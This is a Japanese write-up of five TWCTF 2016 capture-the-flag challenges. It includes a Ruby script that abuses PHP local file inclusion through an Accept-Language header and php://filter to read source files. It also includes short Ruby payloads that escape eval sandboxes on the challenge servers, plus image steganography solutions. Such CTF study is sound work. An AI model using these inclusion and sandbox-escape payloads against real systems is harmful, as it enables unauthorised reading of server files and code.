TWCTF 2016 Write-up

TWCTF 2016にチームringolliaで参加しました。チームとしては99位で、私は5個のフラグをsubmitしました。以下、write upです。

Global Page(Web 50)

?page=に値を与えると"."と"/"がremoveされてファイルパスとして評価され結果を返してくるサービスを与えられました。 /?page=tokyoのパスにブラウザでアクセスしてみると、以下の様なphp warningが表示されていました

Warning: include(tokyo/en-US.php): failed to open stream: No such file or directory in /var/www/globalpage/index.php on line 41

Warning: include(): Failed opening 'tokyo/en-US.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/globalpage/index.php on line 41

どうやらAccept-Languageで指定された値をファイル名、pageの値をディレクトリ名として使っているようです。後は自明にphp://filter/でresourceを指定すれば良くて

require "http"

r = HTTP
  .headers("Accept-Language" => "/filter/convert.base64-encode/resource=index")
  .get("http://globalpage.chal.ctf.westerns.tokyo/?page=php:")

puts r.to_s

でindex.phpが降ってきます。index.phpを見ると先頭でflag.phpをincludeしていたので、後は先の方法でflag.phpを持ってくるだけ。 TWCTF{I_found_simple_LFI}

Private / Local / Comment

seccompでシステムコールを制限された状態でevalを実行してくれるプログラムが動いているので、そこからflagを入手する問題群。

Private(PPC 50)

require_relative 'restrict'
Restrict.set_timeout

class Private
  private
  public_methods.each do |method|
    eval "def #{method.to_s};end"
  end

  def flag
    return "TWCTF{CENSORED}"
  end
end

p = Private.new
Private = nil

input = STDIN.gets
fail unless input
input.size > 24 && input = input[0, 24]

Restrict.seccomp

STDOUT.puts eval(input)

組み込みのメソッド含めたすべてのメソッドがprivateに隠蔽されたPrivateインスタンスからflag()を実行させなければいけない.(input <= 24)
特異メソッドを使えば可能。exploitは以下。

require "socket"

payload = 'def p.a;flag;end;p.a'
puts "payload length is #{payload.length}"

TCPSocket.open "ppc1.chal.ctf.westerns.tokyo", 1111 do |s|
  s.puts payload
  print s.read
end

TWCTF{PrivatePreview}

Local(PPC 70)

require_relative 'restrict'
Restrict.set_timeout

def get_flag(x)
  flag = "TWCTF{CENSORED}"
  x
end

input = STDIN.gets
fail unless input
input.size > 60 && input = input[0, 60]

Restrict.seccomp

STDOUT.puts get_flag(eval(input))

メソッド内に束縛されたローカル変数を読まなければならない。(input <= 60)
set_trace_funcを使用するとrubyインタプリタの実行をトレースできる、これを使ってget_flagのbindingを取得し, そのコンテキスト内でevalすれば終了。

require "socket"

payload = 'set_trace_func proc{|*a|a[4].eval("(p flag) rescue nil")}'
puts "payload length is #{payload.length}"

TCPSocket.open "ppc1.chal.ctf.westerns.tokyo", 1112 do |s|
  s.puts payload
  print s.read
end
# =>
#   nil
#   nil
#   "TWCTF{EnjoyC0untryLife}"
#   "TWCTF{EnjoyC0untryLife}"
#   #<Proc:0x00000000873408@(eval):1>

TWCTF{EnjoyC0untryLife}

glance(misc 50)

アニメgifが与えられた。1フレーム毎に抽出して横につなげて終わり。

$ convert glance.gif +adjoin flame.png
$ convert +append * out.png


TWCTF{Bliss by Charles O'Rear}

ninth(misc 100)

画像ファイルが与えられた。よく分からなかったがbinwalkで埋め込まれてるファイルをextractしてstringsで見たら終わった。想定解法はなんだろう。

$ binwalk ninth.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 1200 x 848, 8-bit/color RGBA, non-interlaced
99            0x63            Zlib compressed data, default compression

$ binwalk -e ninth.png

$ cd _ninth.png.extracted/

$ ls
63      63.zlib

$ strings 63
TWCTF{WAMP_Are_You_Ready?}

TWCTF{WAMP_Are_You_Ready?}